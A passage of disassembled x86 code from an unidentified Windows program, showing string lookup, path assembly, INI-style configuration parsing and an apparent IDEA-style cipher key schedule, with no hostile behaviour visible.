[ebp+var_3C], 0 jle short loc_4156E3 mov eax, [ebp+var_40] inc eax mov [ebp+var_34], eax jmp short loc_4156EA ; --------------------------------------------------------------------------- loc_4156E3: ; CODE XREF: sub_41553D+19Bj mov eax, [ebp+var_40] dec eax mov [ebp+var_28], eax loc_4156EA: ; CODE XREF: sub_41553D+195j ; sub_41553D+1A4j jmp loc_41564A ; --------------------------------------------------------------------------- loc_4156EF: ; CODE XREF: sub_41553D+113j ; sub_41553D+18Cj cmp [ebp+var_2C], 0 jz loc_4157AD cmp [ebp+arg_4], 0 jz short loc_415707 mov eax, [ebp+arg_4] mov ecx, [ebp+var_2C] mov [eax], ecx loc_415707: ; CODE XREF: sub_41553D+1C0j mov eax, [ebp+var_2C] mov eax, [eax] mov eax, [eax] mov [ebp+var_4C], eax mov eax, [ebp+var_24] mov [ebp+var_50], eax loc_415717: ; CODE XREF: sub_41553D+20Cj mov eax, [ebp+var_50] mov al, [eax] mov [ebp+var_51], al mov ecx, [ebp+var_4C] cmp al, [ecx] jnz short loc_415751 cmp [ebp+var_51], 0 jz short loc_41574B mov eax, [ebp+var_50] mov al, [eax+1] mov [ebp+var_52], al mov ecx, [ebp+var_4C] cmp al, [ecx+1] jnz short loc_415751 add [ebp+var_50], 2 add [ebp+var_4C], 2 cmp [ebp+var_52], 0 jnz short loc_415717 loc_41574B: ; CODE XREF: sub_41553D+1EDj and [ebp+var_58], 0 jmp short loc_415759 ; --------------------------------------------------------------------------- loc_415751: ; CODE XREF: sub_41553D+1E7j ; sub_41553D+1FEj sbb eax, eax sbb eax, 0FFFFFFFFh mov [ebp+var_58], eax loc_415759: ; CODE XREF: sub_41553D+212j mov eax, [ebp+var_58] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jnz short loc_41576D mov eax, [ebp+arg_8] and byte ptr [eax], 0 jmp short loc_415773 ; --------------------------------------------------------------------------- loc_41576D: ; CODE XREF: sub_41553D+226j mov eax, [ebp+arg_8] mov byte ptr [eax], 1 loc_415773: ; CODE XREF: sub_41553D+22Ej cmp [ebp+arg_C], 0 jz short loc_415792 push 0 mov eax, ds:dword_424888 add eax, 114h push eax call sub_41C9BA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_415792: ; CODE XREF: sub_41553D+23Aj push 0FFFFFFFFh mov eax, [ebp+var_2C] mov [ebp+var_60], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_60] jmp loc_415856 ; --------------------------------------------------------------------------- loc_4157AD: ; CODE XREF: sub_41553D+1B6j jmp loc_41583D ; --------------------------------------------------------------------------- loc_4157B2: ; CODE XREF: sub_41553D+C6j push [ebp+var_1C] call sub_41C106 pop ecx mov [ebp+var_44], eax cmp [ebp+var_44], 0 jz short loc_41583D mov eax, ds:dword_424888 mov eax, [eax+8] cmp eax, [ebp+var_44] ja short loc_41583D mov eax, ds:dword_424888 mov eax, [eax+0Ch] shl eax, 4 mov ecx, ds:dword_424888 mov ecx, [ecx+8] add ecx, eax cmp [ebp+var_44], ecx jnb short loc_41583D mov eax, [ebp+var_44] mov [ebp+var_48], eax mov eax, [ebp+arg_8] and byte ptr [eax], 0 cmp [ebp+arg_C], 0 jz short loc_415817 push 0 mov eax, ds:dword_424888 add eax, 114h push eax call sub_41C9BA pop ecx pop ecx mov ecx, [ebp+arg_C] mov [ecx], eax loc_415817: ; CODE XREF: sub_41553D+2BFj cmp [ebp+arg_4], 0 jz short loc_415825 mov eax, [ebp+arg_4] mov ecx, [ebp+var_48] mov [eax], ecx loc_415825: ; CODE XREF: sub_41553D+2DEj push 0FFFFFFFFh mov eax, [ebp+var_44] mov [ebp+var_64], eax lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx mov eax, [ebp+var_64] jmp short loc_415856 ; --------------------------------------------------------------------------- loc_41583D: ; CODE XREF: sub_41553D+78j ; sub_41553D:loc_4157ADj ... or [ebp+var_4], 0FFFFFFFFh call sub_415848 jmp short loc_415854 sub_41553D endp ; =============== S U B R O U T I N E ======================================= sub_415848 proc near ; CODE XREF: sub_41553D+304p ; DATA XREF: _4:004213D8o push offset dword_424848 call ds:dword_4246D4 ; RtlLeaveCriticalSection retn sub_415848 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41553D loc_415854: ; CODE XREF: sub_41553D+309j xor eax, eax loc_415856: ; CODE XREF: sub_41553D+3Cj ; sub_41553D+26Bj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 10h ; END OF FUNCTION CHUNK FOR sub_41553D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415867 proc near ; CODE XREF: sub_4191AB+3Dp ; sub_41D7FD+29p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00415934 SIZE 00000043 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213E0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi mov [ebp+var_34], edx mov [ebp+var_30], ecx push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_30] call sub_41553D mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz loc_415934 cmp [ebp+arg_0], 0 jz short loc_415934 mov esi, [ebp+arg_0] mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_30] call sub_41C9BA pop ecx pop ecx mov edx, eax mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx mov edx, edi or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov [ebp+var_24], edx and [ebp+var_4], 0 push [ebp+var_34] lea eax, [ebp+var_20] push eax push 0 push [ebp+var_24] call sub_41553D mov [ebp+var_1C], eax or [ebp+var_4], 0FFFFFFFFh call sub_415924 jmp short loc_415934 sub_415867 endp ; =============== S U B R O U T I N E ======================================= sub_415924 proc near ; CODE XREF: sub_415867+B6p ; DATA XREF: _4:004213E8o mov eax, [ebp-24h] mov [ebp-28h], eax push dword ptr [ebp-28h] call sub_41BACD pop ecx retn sub_415924 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415867 loc_415934: ; CODE XREF: sub_415867+43j ; sub_415867+4Dj ... cmp [ebp+var_1C], 0 jz short loc_415947 movzx eax, [ebp+var_20] test eax, eax jnz short loc_415947 mov eax, [ebp+var_1C] jmp short loc_415966 ; --------------------------------------------------------------------------- loc_415947: ; CODE XREF: sub_415867+D1j ; sub_415867+D9j cmp [ebp+var_34], 0 jz short loc_415964 cmp [ebp+var_1C], 0 jz short loc_415964 mov eax, [ebp+var_34] mov eax, [eax] mov [ebp+var_2C], eax push [ebp+var_2C] call sub_41BACD pop ecx loc_415964: ; CODE XREF: sub_415867+E4j ; sub_415867+EAj xor eax, eax loc_415966: ; CODE XREF: sub_415867+DEj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 ; END OF FUNCTION CHUNK FOR sub_415867 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415977 proc near ; CODE XREF: sub_4191AB+24p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov [ebp+var_28], edx mov [ebp+var_24], ecx and [ebp+var_8], 0 cmp [ebp+var_24], 0 jz loc_415A50 mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 5Ch jz loc_415A50 mov eax, [ebp+var_24] movsx eax, byte ptr [eax] cmp eax, 2Fh jz loc_415A50 mov eax, [ebp+var_24] movsx eax, byte ptr [eax+1] cmp eax, 3Ah jz loc_415A50 mov edi, [ebp+var_24] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_14], ecx mov eax, ds:dword_424888 add eax, 10h mov ecx, ds:dword_424888 mov ecx, [ecx+218h] sub ecx, eax mov [ebp+var_10], ecx mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov eax, [ebp+var_14] lea eax, [eax+ecx+104h] push eax call sub_41BA4A pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax mov ecx, [ebp+var_10] mov esi, ds:dword_424888 add esi, 10h mov edi, [ebp+var_8] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+var_14] inc ecx mov esi, [ebp+var_24] mov edi, [ebp+var_8] add edi, [ebp+var_10] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax loc_415A50: ; CODE XREF: sub_415977+17j ; sub_415977+26j ... push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_24] call sub_41553D mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415AD6 cmp [ebp+arg_0], 0 jz short loc_415AD6 cmp [ebp+var_8], 0 jnz short loc_415A90 mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+var_24] call sub_41C9BA pop ecx pop ecx mov [ebp+var_8], eax loc_415A90: ; CODE XREF: sub_415977+FCj mov edi, [ebp+arg_0] mov edx, [ebp+var_8] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh xor eax, eax repne scasb dec edi mov ecx, ebx shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov eax, [ebp+var_8] mov [ebp+var_24], eax push 0 lea eax, [ebp+var_C] push eax push 0 push [ebp+var_8] call sub_41553D mov [ebp+var_4], eax loc_415AD6: ; CODE XREF: sub_415977+F0j ; sub_415977+F6j cmp [ebp+var_4], 0 jz short loc_415B25 movzx eax, [ebp+var_C] test eax, eax jnz short loc_415B25 cmp [ebp+var_28], 0 jz short loc_415B11 cmp [ebp+var_8], 0 jz short loc_415AF8 mov eax, [ebp+var_8] mov [ebp+var_2C], eax jmp short loc_415B07 ; --------------------------------------------------------------------------- loc_415AF8: ; CODE XREF: sub_415977+177j push 0 push [ebp+var_24] call sub_41C9BA pop ecx pop ecx mov [ebp+var_2C], eax loc_415B07: ; CODE XREF: sub_415977+17Fj mov eax, [ebp+var_28] mov ecx, [ebp+var_2C] mov [eax], ecx jmp short loc_415B20 ; --------------------------------------------------------------------------- loc_415B11: ; CODE XREF: sub_415977+171j mov eax, [ebp+var_8] mov [ebp+var_1C], eax push [ebp+var_1C] call sub_41BACD pop ecx loc_415B20: ; CODE XREF: sub_415977+198j mov eax, [ebp+var_4] jmp short loc_415B36 ; --------------------------------------------------------------------------- loc_415B25: ; CODE XREF: sub_415977+163j ; sub_415977+16Bj mov eax, [ebp+var_8] mov [ebp+var_20], eax push [ebp+var_20] call sub_41BACD pop ecx xor eax, eax loc_415B36: ; CODE XREF: sub_415977+1ACj pop edi pop esi pop ebx leave retn 4 sub_415977 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3D proc near ; CODE XREF: sub_41DDE5+Ap ; sub_41DE13+78p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], edx mov [ebp+var_4], ecx push 0 push [ebp+var_8] push 0 push [ebp+var_4] call sub_41553D leave retn sub_415B3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B59 proc near ; CODE XREF: sub_41DF52+2Bp ; sub_41DFF8+42p ... var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = byte ptr 20h ; FUNCTION CHUNK AT 0041604B SIZE 00000012 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4213F0 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 64h push ebx push esi push edi and [ebp+var_34], 0 and [ebp+var_28], 0 and [ebp+var_38], 0 and [ebp+var_20], 0 and [ebp+var_30], 0 and [ebp+var_3C], 0 and [ebp+var_24], 0 and [ebp+var_48], 0 and [ebp+var_40], 0 and [ebp+var_44], 0 and [ebp+var_4], 0 mov ecx, [ebp+arg_10] xor eax, eax mov edi, [ebp+arg_C] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb push 0 lea eax, [ebp+var_2C] push eax push 0 push 0 push [ebp+arg_14] call sub_414344 lea eax, [ebp+var_28] push eax push [ebp+var_2C] call sub_414670 mov eax, [ebp+var_28] inc eax push eax call sub_41BA4A pop ecx mov [ebp+var_64], eax mov eax, [ebp+var_64] mov [ebp+var_34], eax mov ecx, [ebp+var_28] inc ecx xor eax, eax mov edi, [ebp+var_34] mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb mov eax, [ebp+var_28] mov ecx, [ebp+var_34] lea eax, [ecx+eax+1] mov [ebp+var_20], eax mov eax, [ebp+var_34] mov [ebp+var_38], eax lea eax, [ebp+var_1C] push eax push 0 push 0 push [ebp+var_28] push [ebp+var_34] push [ebp+var_2C] call sub_415175 mov eax, [ebp+var_20] mov byte ptr [eax-1], 0Ah jmp short loc_415C42 ; --------------------------------------------------------------------------- loc_415C3B: ; CODE XREF: sub_415B59:loc_416019j mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_415C42: ; CODE XREF: sub_415B59+E0j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz loc_41601E loc_415C4E: ; CODE XREF: sub_415B59+486j ; sub_415B59+4BBj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Bh jnz short loc_415C8D loc_415C59: ; CODE XREF: sub_415B59+125j mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jz short loc_415C80 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_415C80 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_415C80 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415C59 ; --------------------------------------------------------------------------- loc_415C80: ; CODE XREF: sub_415B59+106j ; sub_415B59+111j ... mov eax, [ebp+var_38] cmp eax, [ebp+var_20] jnz short loc_415C8D jmp loc_41601E ; --------------------------------------------------------------------------- loc_415C8D: ; CODE XREF: sub_415B59+FEj ; sub_415B59+12Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Bh jnz short loc_415CAB mov eax, [ebp+var_38] inc eax mov [ebp+var_30], eax mov [ebp+var_24], 1 jmp loc_416019 ; --------------------------------------------------------------------------- loc_415CAB: ; CODE XREF: sub_415B59+13Dj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 5Dh jnz loc_415D54 loc_415CBA: ; CODE XREF: sub_415B59+217j mov eax, [ebp+var_38] and byte ptr [eax], 0 cmp [ebp+var_24], 1 jnz loc_415D4F and [ebp+var_24], 0 cmp [ebp+arg_0], 0 jnz short loc_415D35 mov eax, [ebp+var_44] mov [ebp+var_4C], eax mov edi, [ebp+var_30] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_54], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_4C] mov [ebp+var_50], eax cmp [ebp+var_50], 0 jle short loc_415D33 push [ebp+var_50] push [ebp+var_30] mov eax, [ebp+arg_C] add eax, [ebp+var_4C] push eax call sub_410630 add esp, 0Ch mov eax, [ebp+var_50] cmp eax, [ebp+var_54] jle short loc_415D20 mov eax, [ebp+var_54] mov [ebp+var_74], eax jmp short loc_415D26 ; --------------------------------------------------------------------------- loc_415D20: ; CODE XREF: sub_415B59+1BDj mov eax, [ebp+var_50] mov [ebp+var_74], eax loc_415D26: ; CODE XREF: sub_415B59+1C5j mov eax, [ebp+var_74] mov ecx, [ebp+var_4C] lea eax, [ecx+eax+1] mov [ebp+var_44], eax loc_415D33: ; CODE XREF: sub_415B59+1A0j jmp short loc_415D4F ; --------------------------------------------------------------------------- loc_415D35: ; CODE XREF: sub_415B59+179j push [ebp+var_30] push [ebp+arg_0] call ds:dword_424740 ; lstrcmpi test eax, eax jnz short loc_415D4B mov [ebp+var_48], 1 jmp short loc_415D4F ; --------------------------------------------------------------------------- loc_415D4B: ; CODE XREF: sub_415B59+1EAj and [ebp+var_48], 0 loc_415D4F: ; CODE XREF: sub_415B59+16Bj ; sub_415B59:loc_415D33j ... jmp loc_416019 ; --------------------------------------------------------------------------- loc_415D54: ; CODE XREF: sub_415B59+15Bj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_415D6A mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_415D81 loc_415D6A: ; CODE XREF: sub_415B59+204j cmp [ebp+var_24], 1 jnz short loc_415D75 jmp loc_415CBA ; --------------------------------------------------------------------------- loc_415D75: ; CODE XREF: sub_415B59+215j mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax jmp loc_416019 ; --------------------------------------------------------------------------- loc_415D81: ; CODE XREF: sub_415B59+20Fj mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 3Dh jnz loc_416019 cmp [ebp+arg_0], 0 jz loc_415FE6 mov eax, [ebp+var_38] mov byte ptr [eax], 20h loc_415DA0: ; CODE XREF: sub_415B59+266j mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 9 jz short loc_415DB8 mov eax, [ebp+var_38] movzx eax, byte ptr [eax-1] cmp eax, 20h jnz short loc_415DC1 loc_415DB8: ; CODE XREF: sub_415B59+251j mov eax, [ebp+var_38] dec eax mov [ebp+var_38], eax jmp short loc_415DA0 ; --------------------------------------------------------------------------- loc_415DC1: ; CODE XREF: sub_415B59+25Dj mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax loc_415DCE: ; CODE XREF: sub_415B59+292j mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 9 jz short loc_415DE4 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 20h jnz short loc_415DED loc_415DE4: ; CODE XREF: sub_415B59+27Ej mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415DCE ; --------------------------------------------------------------------------- loc_415DED: ; CODE XREF: sub_415B59+289j cmp [ebp+arg_4], 0 jnz loc_415F36 movzx eax, [ebp+var_48] test eax, eax jz loc_415F31 mov eax, [ebp+var_44] mov [ebp+var_58], eax mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_6C], eax mov eax, [ebp+var_6C] cmp eax, [ebp+var_60] jge short loc_415E34 mov eax, [ebp+var_6C] mov [ebp+var_78], eax jmp short loc_415E3A ; --------------------------------------------------------------------------- loc_415E34: ; CODE XREF: sub_415B59+2D1j mov eax, [ebp+var_60] mov [ebp+var_78], eax loc_415E3A: ; CODE XREF: sub_415B59+2D9j mov eax, [ebp+var_78] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_415E69 mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_415E69: ; CODE XREF: sub_415B59+2EBj mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_415E6F: ; CODE XREF: sub_415B59+33Cj mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_415E97 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_415E97 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_415E97 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415E6F ; --------------------------------------------------------------------------- loc_415E97: ; CODE XREF: sub_415B59+31Dj ; sub_415B59+328j ... movzx eax, [ebp+arg_18] test eax, eax jz loc_415F23 mov eax, [ebp+arg_10] dec eax dec eax cmp [ebp+var_58], eax jnb short loc_415EBD mov eax, [ebp+arg_C] add eax, [ebp+var_58] mov byte ptr [eax], 3Dh mov eax, [ebp+var_58] inc eax mov [ebp+var_58], eax loc_415EBD: ; CODE XREF: sub_415B59+352j mov eax, [ebp+var_38] and byte ptr [eax], 0 mov edi, [ebp+var_3C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_60], ecx mov eax, [ebp+arg_10] dec eax dec eax sub eax, [ebp+var_58] mov [ebp+var_70], eax mov eax, [ebp+var_70] cmp eax, [ebp+var_60] jge short loc_415EEE mov eax, [ebp+var_70] mov [ebp+var_7C], eax jmp short loc_415EF4 ; --------------------------------------------------------------------------- loc_415EEE: ; CODE XREF: sub_415B59+38Bj mov eax, [ebp+var_60] mov [ebp+var_7C], eax loc_415EF4: ; CODE XREF: sub_415B59+393j mov eax, [ebp+var_7C] mov [ebp+var_5C], eax cmp [ebp+var_5C], 0 jle short loc_415F23 mov ecx, [ebp+var_5C] mov esi, [ebp+var_3C] mov edi, [ebp+arg_C] add edi, [ebp+var_58] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+var_58] add eax, [ebp+var_5C] mov [ebp+var_58], eax loc_415F23: ; CODE XREF: sub_415B59+344j ; sub_415B59+3A5j mov eax, [ebp+var_58] inc eax mov [ebp+var_44], eax mov eax, [ebp+var_38] inc eax mov [ebp+var_3C], eax loc_415F31: ; CODE XREF: sub_415B59+2A4j jmp loc_415FE4 ; --------------------------------------------------------------------------- loc_415F36: ; CODE XREF: sub_415B59+298j push [ebp+var_3C] push [ebp+arg_4] call ds:dword_424740 ; lstrcmpi test eax, eax jnz short loc_415FB1 movzx eax, [ebp+var_48] test eax, eax jz short loc_415FB1 mov eax, [ebp+var_38] mov [ebp+var_3C], eax loc_415F54: ; CODE XREF: sub_415B59+421j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_415F7C mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_415F7C mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_415F7C mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415F54 ; --------------------------------------------------------------------------- loc_415F7C: ; CODE XREF: sub_415B59+402j ; sub_415B59+40Dj ... mov eax, [ebp+var_38] and byte ptr [eax], 0 mov eax, [ebp+arg_10] dec eax push eax push [ebp+var_3C] push [ebp+arg_C] call sub_410630 add esp, 0Ch mov eax, [ebp+arg_C] add eax, [ebp+arg_10] and byte ptr [eax-1], 0 mov edi, [ebp+arg_C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_44], ecx jmp short loc_41601E ; --------------------------------------------------------------------------- loc_415FB1: ; CODE XREF: sub_415B59+3EBj ; sub_415B59+3F3j ... mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_415FD9 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_415FD9 mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_415FD9 mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415FB1 ; --------------------------------------------------------------------------- loc_415FD9: ; CODE XREF: sub_415B59+45Fj ; sub_415B59+46Aj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_415C4E ; --------------------------------------------------------------------------- loc_415FE4: ; CODE XREF: sub_415B59:loc_415F31j jmp short loc_416019 ; --------------------------------------------------------------------------- loc_415FE6: ; CODE XREF: sub_415B59+23Bj ; sub_415B59+4B3j mov eax, [ebp+var_20] dec eax cmp [ebp+var_38], eax jz short loc_41600E mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Dh jz short loc_41600E mov eax, [ebp+var_38] movzx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_41600E mov eax, [ebp+var_38] inc eax mov [ebp+var_38], eax jmp short loc_415FE6 ; --------------------------------------------------------------------------- loc_41600E: ; CODE XREF: sub_415B59+494j ; sub_415B59+49Fj ... mov eax, [ebp+var_38] mov [ebp+var_3C], eax jmp loc_415C4E ; --------------------------------------------------------------------------- loc_416019: ; CODE XREF: sub_415B59+14Dj ; sub_415B59:loc_415D4Fj ... jmp loc_415C3B ; --------------------------------------------------------------------------- loc_41601E: ; CODE XREF: sub_415B59+EFj ; sub_415B59+12Fj ... or [ebp+var_4], 0FFFFFFFFh call sub_416029 jmp short loc_41604B sub_415B59 endp ; =============== S U B R O U T I N E ======================================= sub_416029 proc near ; CODE XREF: sub_415B59+4C9p ; DATA XREF: _4:004213F8o mov eax, [ebp-34h] mov [ebp-68h], eax push dword ptr [ebp-68h] call sub_41BACD pop ecx cmp dword ptr [ebp-2Ch], 0FFFFFFFFh jz short locret_41604A lea eax, [ebp-1Ch] push eax push dword ptr [ebp-2Ch] call sub_41473F locret_41604A: ; CODE XREF: sub_416029+13j retn sub_416029 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_415B59 loc_41604B: ; CODE XREF: sub_415B59+4CEj mov eax, [ebp+var_44] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_415B59 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov [ebp-4], ecx push dword ptr [ebp-4] push dword ptr [ebp+8] mov ecx, [ebp-4] call sub_416088 mov eax, [ebp-4] add eax, 68h push eax push dword ptr [ebp-4] mov ecx, [ebp-4] call sub_416130 leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416088 proc near ; CODE XREF: _3:0041606Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx and [ebp+var_8], 0 jmp short loc_41609E ; --------------------------------------------------------------------------- loc_416097: ; CODE XREF: sub_416088+40j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_41609E: ; CODE XREF: sub_416088+Dj cmp [ebp+var_8], 8 jge short loc_4160CA mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] shl eax, 8 mov ecx, [ebp+arg_0] movzx ecx, byte ptr [ecx+1] add eax, ecx mov ecx, [ebp+var_8] mov edx, [ebp+arg_4] mov [edx+ecx*2], ax mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax jmp short loc_416097 ; --------------------------------------------------------------------------- loc_4160CA: ; CODE XREF: sub_416088+1Aj and [ebp+var_4], 0 jmp short loc_4160D7 ; --------------------------------------------------------------------------- loc_4160D0: ; CODE XREF: sub_416088+A2j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4160D7: ; CODE XREF: sub_416088+46j cmp [ebp+var_8], 34h jge short locret_41612C mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, 7 mov ecx, [ebp+arg_4] movzx eax, word ptr [ecx+eax*2] shl eax, 9 mov ecx, [ebp+var_4] inc ecx and ecx, 7 mov edx, [ebp+arg_4] movzx ecx, word ptr [edx+ecx*2] sar ecx, 7 or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [edx+ecx*2+0Eh], ax mov eax, [ebp+var_4] and eax, 8 mov ecx, [ebp+arg_4] lea eax, [ecx+eax*2] mov [ebp+arg_4], eax mov eax, [ebp+var_4] and eax, 7 mov [ebp+var_4], eax jmp short loc_4160D0 ; --------------------------------------------------------------------------- locret_41612C: ; CODE XREF: sub_416088+53j leave retn 8 sub_416088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416130 proc near ; CODE XREF: _3:0041607Fp var_98 = 